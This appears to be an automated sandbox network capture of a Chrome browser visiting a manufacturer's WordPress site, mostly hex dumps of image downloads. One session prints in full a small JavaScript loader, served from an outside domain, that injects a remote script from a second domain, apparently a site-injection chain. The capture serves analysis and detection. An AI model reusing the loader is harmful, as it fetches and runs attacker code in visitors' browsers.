Pb8%?+Hj#A>5.y;5r\|!X9\.!OIeAA8(HPsw.U888]xsgDz {(5-<\Htc>A'h\|m+ s_m"l~Zm8I#]0&b]L{EsuBx>{P0xEkHq
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: f9 2d e2 05 00 11 34 1c 1b 9f 04 a8 1b c8 6a fb b8 51 47 e1 e3 45 45 a0 0e b7 6e 3e 10 07 33 40 a6 16 8c c2 ad 05 13 46 43 75 00 8e 69 0e 09 c5 0a d1 5b be 61 df 6d 9d 49 bc d8 fe 43 34 32 be 2b 06 0b ab 56 bb cb 36 f3 07 39 cf 84 eb d3 a9 de 2e 1c 6b be 19 63 1e 9e 8e 19 e3 94 fe af 0c ef 36 3c 5e c7 35 a3 89 04 0e ea eb 6e 34 f6 3f 2e 37 87 58 c9 b9 44 c9 24 8d af 74 57 0f 6b 1d a1 cf 6e 2d 21 47 2a ce cb b3 2c ea a5 de eb 3e ad b5 bd d9 ae 6d d9 6f e5 ba 63 13 5d 18 79 40 dd 44 b9 c3 59 2e 2e 38 2d 63 a6 71 d6 db c7 9b 76 94 f2 7b 6e d3 3d bb fe 37 cb 75 d3 c8 48 e2 8d 8f 68 0e 41 a8 9d 61 a1 31 c0 d5 9c af 46 f1 c6 b5 68 99 db cc 9e 1b ab 15 8d a7 18 e4 7c 60 77 26 a0 6b 3a 47 bb 57 33 ec c9 bb db ec 66 c1 de 55 a4 c2 ec 60 1c 03 19 1b 08 1e ee a0 e7 Data Ascii: -4jQGEEn>3@FCui[amIC42+V69.kc6<^5n4?.7XD$tWkn-!G*,>moc]y@DY..8-cqv{n=7uHhAa1Fh\|`w&k:GW3fU`
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: c9 4e f1 39 78 78 72 12 84 a2 e7 57 64 26 f9 17 ef b7 08 51 c8 4e 2b ce a7 5c 2f 64 83 37 db b5 0a 50 64 3b 7b ea 75 c2 ef 95 df 9b de 1c 9d e9 e3 59 d9 0b 19 c9 1b 7d 71 ac bb 57 6a 9c 29 38 c2 c6 52 b0 ef 33 84 3e 60 51 91 50 9e da ce c8 6b 74 ba 52 9d de df 67 b7 dd ee 0b 22 b1 bb 94 c3 68 f7 b8 35 f3 39 a1 5e e8 a3 3e 27 46 de 2f 18 2d 63 6c 35 13 2c b1 ee 77 72 34 bd 8e 2f 6b 7d e7 b5 ae 73 47 f1 88 c0 7a 69 b6 16 e5 54 7b ad c3 0f 81 53 2c 41 3e aa bb 61 2e 4d 26 ed b9 79 62 5d 0f f2 94 8f 34 b1 fa 17 96 a4 45 a6 c8 49 ca 59 64 df 2e 9a 71 76 96 f0 50 45 6a 30 86 67 29 21 df ae 93 09 01 3c 02 ad 6e 38 e1 99 e4 96 63 bb 5d 35 e5 c1 e4 f6 70 ae 9b 21 8d f2 3f 9e de 27 bd 81 c0 d3 ae 13 7c 94 ef 57 a0 7b c9 cc f1 ab d7 09 be 55 3b 76 bc 20 f8 c9 05 78 Data Ascii: N9xxrWd&QN+\/d7Pd;{uY}qWj)8R3>`QPktRg"h59^>'F/-cl5,wr4/k}sGziT{S,A>a.M&yb]4EIYd.qvPEj0g)!<n8c]5p!?'\|W{U;v x
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: ba 8a 4b 1d d3 68 31 47 73 a6 58 de c9 e0 d6 c2 e6 12 c2 ba 4b a3 2f 4d 43 8a 57 4e 5c 26 71 67 8f 38 b7 9d 8f 7e 76 d6 d9 63 db 6d a7 9f e3 5e d3 70 e2 8c 8b cd 6a 90 84 62 d0 98 61 5e 4c 31 98 d6 5d b2 a9 f4 6a 67 50 f5 ac b6 a5 f1 d8 45 f1 45 ce 56 f9 d1 32 30 3e e6 2f 70 27 b5 6b a4 f2 ca c7 1c 0f e6 5d 72 f2 cf 36 e7 6e da da 9e 39 24 96 09 dc 70 c3 0d 7c 7b 2b 1d b9 7e ab d7 0a ff 00 3b ea 48 94 49 bd ed 12 b8 12 1a df c3 68 2d fd 65 6e a4 3d 95 ac 79 72 f0 ce 5c 70 e7 49 be c1 26 e6 fb 9d c1 a6 49 9c 1a c9 5d 67 29 6a 86 04 69 01 ed 73 4d 6f 3e 4c e6 34 ab 74 fb 6c 38 31 cb ff 00 2e 39 4c 7f b6 7f c5 9f 76 dd ba 76 e2 7d bc 47 f1 06 2b 77 39 f3 49 72 08 3a 5c 75 16 27 df 73 9d 9b fb 85 72 8d f3 31 b9 e9 e5 cb ed e2 32 ea 8c b5 f4 dd ff 00 57 92 bb Data Ascii: Kh1GsXK/MCWN\&qg8~vcm^pjba^L1]jgPEEV20>/p'k]r6n9$p\|{+~;HIh-en=yr\pI&I]g)jisMo>L4tl81.9Lvv}G+w9Ir:\u'sr12W
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 97 90 59 43 7d 3c 0e 8a ca e1 c6 3b 6b 97 8d 31 ca e6 ae a1 1b 8f bc 89 45 65 75 d4 09 fe 2b 53 bc 55 15 fc 4c 2e 2a 1e 0f 20 0a d5 84 93 34 4e 4f 86 19 08 cd 44 6f fb 2a db 34 ae 47 b1 48 25 08 e7 5d 21 99 85 64 9e 05 47 31 88 ad b0 5c 42 e3 8f b2 82 1d 6a 79 f1 fa 6a 80 55 11 7c 27 9d 10 14 90 70 c3 d1 8d 06 71 7e e2 a8 35 2f a2 bd 6f 23 a1 b5 5a 6f 7b 95 c0 83 6b b4 9e f2 63 9b 20 61 79 c3 1e 18 0a c6 53 11 ea de 31 32 db ba f4 67 5b ed b6 92 de df ec b7 30 5a 40 d3 24 d7 0f 0c d0 c6 f3 71 0e 29 58 df 1e 5b d9 2e 95 cf ca af 98 2d bb 9a 1b 2d b1 f7 b0 46 40 6d d3 5f 14 6c 79 2d 0e 3a 43 de 1c 80 94 c7 3a c4 72 c4 b5 d7 2a ff 00 e5 37 cd 17 b8 b5 bb 1b 81 08 50 cd 6e 1b 8f 23 e6 7a ea c7 24 27 5c b0 43 f2 f3 af e7 bd 92 cd bb 60 6d cc 4b ad 8e b8 b5 68 Data Ascii: YC}<;k1Eeu+SUL.* 4NODo4GH%]!dG1\BjyjU\|'pq~5/o#Zo{kc ayS12g[0Z@$q)X[.--F@m_ly-:C:r7Pn#z$'\C`mKh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49952	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:37 UTC	932	OUT	GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:37 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:37 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:04 GMT Accept-Ranges: bytes Content-Length: 18989 Content-Type: image/jpeg
2024-10-07 11:17:37 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky21http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:37 UTC	8000	IN	Data Raw: eb 3f 95 76 fd cb 76 e5 4b fb c7 e8 db e7 47 f3 3f 81 e2 bb 1b ba ba 0f 6f 6d af cb 7f ea bd dd f9 25 58 43 52 50 59 2a 9e ad 31 31 ae f7 88 cd a7 a4 3c fb a6 27 65 2b 33 88 8e b2 fd 83 c1 64 b2 0d 0f 1b 0f a9 9d b7 37 e5 f5 ff 00 e9 94 97 d4 7e dd 8a ab f5 ff 00 b0 72 f8 76 fd b2 eb f3 6a fb a1 eb 4c 78 d7 f5 3b b6 56 6e ff 00 fd 30 7f 13 bb 67 9d ff 00 fa 66 67 56 cf b6 4f 97 5f dd 0f 66 63 e5 f4 3e e0 e9 fd c3 b7 b9 b9 e9 ee 7a 2d 4b 44 bd 48 e9 75 cc fa 86 26 26 27 13 d2 5b 89 89 8c c7 58 97 8c ef 7e d5 db 6f f6 d3 ea bb 5b 6a 1b bb 2b 55 d5 15 4f 52 0b 3a f8 a3 f3 cd be d6 db a1 fb ac e0 ae 42 76 e4 ab 19 a7 16 bc 1a a1 f8 2e e6 f3 da ef f7 3b 64 f0 b5 76 70 5e c4 cf a3 e1 6d e9 35 b7 5c 76 7c ff 00 37 57 58 b5 7a 67 bb ec 59 b3 18 aa 71 3b b6 5b 2b Data Ascii: ?vvKG?om%XCRPY*11<'e+3d7~rvjLx;Vn0gfgVO_fc>z-KDHu&&'[X~o[j+UOR:Bv.;dvp^m5\v\|7WXzgYq;[+
2024-10-07 11:17:38 UTC	3031	IN	Data Raw: 4b 92 a6 00 0c cb 2c 15 09 db 5c 4a 54 23 49 d1 31 6d ac 1b 05 c7 85 39 8c b0 40 30 1e 26 a9 b8 54 03 80 12 40 a8 56 2d 20 8a 5e 49 28 2f 02 54 2b 7d e2 bd 84 8a 92 b5 98 f9 59 19 45 6a 7e d2 f6 7e 4f 79 19 ba 49 85 98 e8 d6 e3 e7 54 29 7a 2d c3 d8 4e db f3 a2 f3 c6 0d 11 3d 1c 7a 59 d3 18 b7 14 73 54 e9 b6 eb 04 54 84 2f c6 92 af 30 59 6e ad 15 dc 63 1a f2 23 6d d2 68 a6 15 75 67 2c d3 8c 9a e4 76 90 be bf 48 24 8c 5d 62 98 24 b5 26 9f 10 59 92 c6 2c a3 a0 1c 51 96 89 e3 ec 65 ea 98 97 e0 aa a4 bd e3 5a 6a 51 a7 14 54 c0 49 6a 4d 1c d1 93 b7 3d 2c eb 69 54 85 fb 5a 96 a5 9a 19 26 0c d8 ad 8b 65 d5 69 79 a2 9a 3c 40 e5 b8 9d b9 6b 8e 43 a9 a9 aa a1 e5 0a a6 99 cb 49 5a 9f ea 84 c2 cd 89 24 a4 a8 c6 a5 55 40 d3 5c 0a 39 9c a5 66 54 fd 16 53 55 71 59 06 71 Data Ascii: K,\JT#I1m9@0&T@V- ^I(/T+}YEj~~OyIT)z-N=zYsTT/0Ync#mhug,vH$]b$&Y,QeZjQTIjM=,iTZ&eiy<@kCIZ$U@\9fTSUqYq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49951	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:37 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:40 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:40 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49950	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:38 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:38 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:38 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49956	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	939	OUT	GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:48 GMT Accept-Ranges: bytes Content-Length: 48439 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<1http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: d6 56 6e d9 7f 15 eb 3b 55 b9 63 d3 17 a8 4c 45 61 5f 57 20 b9 b8 d3 c3 ba bd 4f 46 31 5d d3 ca be a1 fe a5 b0 7e 86 fd c5 2c ed b1 ab 37 57 6b b7 c6 dc bd da 1d f9 eb 5c 6c 6e e6 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 49 81 44 ac c2 5c 50 18 b7 b6 cb 37 13 aa 02 27 2f a6 ec 5c 4f e1 03 5e dc 3a 3a 12 52 71 88 1a be e1 d2 17 20 db 50 64 1a fe 5f 4f 5f b4 df c2 c0 8b bb 83 76 15 54 28 b5 09 df b3 25 28 37 09 2e 0d 68 4b 06 54 f3 f1 f2 ed f8 3b 8e 3c 72 22 f4 73 7a 48 cf 81 19 97 d1 db 6d e6 ee ed 59 6e c5 f6 eb e1 4d e9 5e e3 36 36 c8 da fa cb cc 1e 91 9f 85 71 ce f6 1f 09 5b b9 f9 96 a5 1f 6d 4c 68 d8 71 3a 97 cb 6e ab 92 7b 8d 99 6c 3b ac b8 65 62 ff 00 29 cb be 76 f8 14 4d 43 1b af 3a 7a cc 72 70 2e da ea 6d 92 2b e1 9d a6 e7 28 c7 Data Ascii: Vn;UcLEa_W OF1]~,7Wk\lnID\P7'/\O^::Rq Pd_O_vT(%(7.hKT;<r"szHmYnM^66q[mLhq:n{l;eb)vMC:zrp.m+(
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 55 a4 d5 54 1d b8 3f da 3d 2e 30 df 44 f4 8f 66 ed 90 bd 76 62 ff 00 68 f4 62 9f f4 3f 4b eb cb bc 5c 5f c5 8e ff 00 63 35 e9 30 97 41 6c 32 a2 86 fb a7 74 b1 e6 8b e8 c6 76 3f 95 fb 24 f0 ee 4e ee f1 44 9a a5 db 76 a4 d2 5e 94 cb e8 62 4b cb 4d a1 6b 63 a8 6d ca 9c 15 cb 32 8f be 84 f4 2c 65 f9 77 91 76 70 8e 36 76 25 e5 4d 67 ce e2 9f f7 91 3d 0b 5f f6 a7 7c a7 c1 7f 0e 5d aa 97 a3 f6 17 d0 2f 2b 7a 9e 29 f2 fe 9e 55 e1 cb 7e 1f 6a 1e 83 fe d7 f5 63 49 2b 30 6f bd 5e 85 3e b1 ea 98 bf 81 e5 af 54 ac c8 46 ee 2b 84 6b ac f9 e2 e3 f4 32 fa a2 43 71 f2 cf ab e5 73 9f 1e 30 e4 6b e5 57 92 7f 4b 44 fa 21 e5 d0 9d 6d 66 52 77 31 6e f2 d2 89 c6 7c fa ff 00 66 45 f5 60 b9 67 65 f3 0e d4 23 08 da cf 51 5a 24 9c e9 f5 8d a9 8c ab 58 7e 64 63 55 c1 6e 11 e6 e2 be Data Ascii: UT?=.0Dfvbhb?K\_c50Al2tv?$NDv^bKMkcm2,ewvp6v%Mg=_\|]/+z)U~jcI+0o^>TF+k2Cqs0kWKD!mfRw1n\|fE`ge#QZ$X~dcUn
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 00 00 00 00 00 f2 4a a9 81 aa 75 4e 2a 95 99 3a 76 01 c3 f7 bb 0e de e1 7a d2 8d 5b 75 5e a6 72 e9 d6 24 f6 a7 15 b5 62 37 16 a5 08 f2 b4 fb a2 e8 ce 75 53 78 19 71 b3 7e cd e6 ff 00 97 35 09 ff 00 0c 84 1b 16 0e 1d ac 7d c3 35 db 5c 8e 4e 12 ad 29 58 cd 0a ad 9f 12 e4 63 89 18 2d 7b 5a ec a9 96 a4 57 07 0a b7 4e 04 66 c6 8b d7 7d 49 6e c7 36 1d b6 93 6e b7 68 fe 83 58 8d 73 03 22 e5 cb 35 92 d6 e6 be c1 88 c3 dc f7 75 62 e7 e9 6c 2e 6b 8b f9 93 7c 23 5e cf 59 d7 9e 59 b5 ee d3 79 b9 b9 4e ad be 2d 9d 59 4a e7 4e 13 b3 a2 08 d6 32 71 ae 39 ba 44 49 a3 16 58 f7 13 4e 8f 89 6a eb 65 e9 ac ea c5 42 5f ce b7 a3 6f 8b 5d e7 1e e3 5c b7 7c be 9d ca df 36 b4 ac 2a df b3 ad b6 f8 4b d1 53 9f 3f ab 5a 95 8e 94 df 6f 67 3c 58 60 dc 8e 45 69 27 28 d1 2f 4b 97 0a 1d Data Ascii: JuN:vz[u^r$b7uSxq~5}5\N)Xc-{ZWNf}In6nhXs"5ubl.k\|#^YYyN-YJN2q9DIXNjeB_o]\\|6KS?Zog<X`Ei'(/K
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 8b 7e 4a 17 7b 93 7a 54 48 8e b3 bb ed 18 9b c6 07 2d 53 6d 56 cd de 2a 8d 7d 47 59 cb 15 c3 ba af a5 32 b6 cc b9 d6 db 56 db ac a1 dd e9 46 76 c5 c4 e7 47 79 a7 9b b4 d8 b5 b7 ee 90 79 78 76 d5 2d dd 8e b7 a1 1e c8 bf c4 74 9d 33 8d ff 00 1b cc fe 8e bd 69 5c fd 63 b6 df dc 9c 24 a4 bd d5 12 a2 f2 f3 1b a3 db a2 cf 8d 7f 86 5f 61 74 60 e4 f9 ad d3 16 f9 d5 a7 76 f4 a3 f2 a8 c2 8a 5e d6 3d 2b 42 ea 8e b3 cc df ae 28 38 ac 7c 38 3a c6 cc 5d 6b e9 93 39 da be 5a b2 cd 96 4e 44 71 31 53 b8 93 a4 b9 75 72 93 e1 15 df 53 19 aa dd b7 dc 28 74 e7 4a d9 da ee 35 fd 5f 74 9a bf 9d 4d 5c 22 b8 42 bd dd 85 b3 13 5a c6 24 52 fd a4 95 51 b9 3b 56 e1 3d c3 22 ea 4e 71 bd 3e 6b 72 af ca a9 c0 dc e8 6d 58 30 bb 6b 16 d5 b9 be 79 46 3f 14 bb ce 5d 51 83 ba ef 3f a7 ad ab Data Ascii: ~J{zTH-SmV*}GY2VFvGyyxv-t3i\c$_at`v^=+B(8\|8:]k9ZNDq1SurS(tJ5_tM\"BZ$RQ;V="Nq>krmX0kyF?]Q?
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: f3 4a 2a 9e d3 3d 7e 35 cb 93 64 7c 7b ae dd 09 76 5e e7 d7 f7 21 29 1c 23 ac 6d 18 ca 2e d4 17 a3 eb 0b 11 bb 95 b7 3c df 0e 29 b7 18 76 7a c2 55 1b 1c 5c 72 f3 53 54 97 c2 a8 fb 90 22 42 51 73 ba d5 29 05 ab f4 b0 af 74 51 af 08 ae e2 2a 36 f4 1d ce 69 cb 49 9a 8c a2 72 b0 dd ca 39 69 25 aa a0 4a 8b ba a5 62 e3 85 c5 49 2d 68 19 47 6e 7b 7c b2 7f cc e3 3e 5c c8 ad 57 05 3f 44 8a 8c 1c 3c f8 ca 4e d4 fe 0b d0 d2 76 df 63 f4 16 2c 48 55 3f 97 81 5a 46 ee 1b 1e 16 6d c5 29 56 d5 ef bb 7a 1a 49 7b 8a cd 46 bb 9d 41 b6 3a 49 7e bf 1a 2e 8a 4b e6 4b d4 c2 32 71 7a 97 6d c8 97 24 e5 e0 dd e0 e1 73 e1 d4 98 24 55 e8 4e 35 84 94 97 63 4c 60 a6 52 a7 af bb b4 a8 b6 e7 de 51 e3 7e d0 31 73 f1 ff 00 55 08 45 df b9 61 42 6a 6d db 74 e6 a7 63 7d cc 83 21 4f 45 f5 0c Data Ascii: J=~5d\|{v^!)#m.<)vzU\rST"BQs)tQ6iIr9i%JbI-hGn{\|>\W?D<Nvc,HU?ZFm)VzI{FA:I~.KK2qzm$s$UN5cL`RQ~1sUEaBjmtc}!OE
2024-10-07 11:17:38 UTC	481	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49961	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
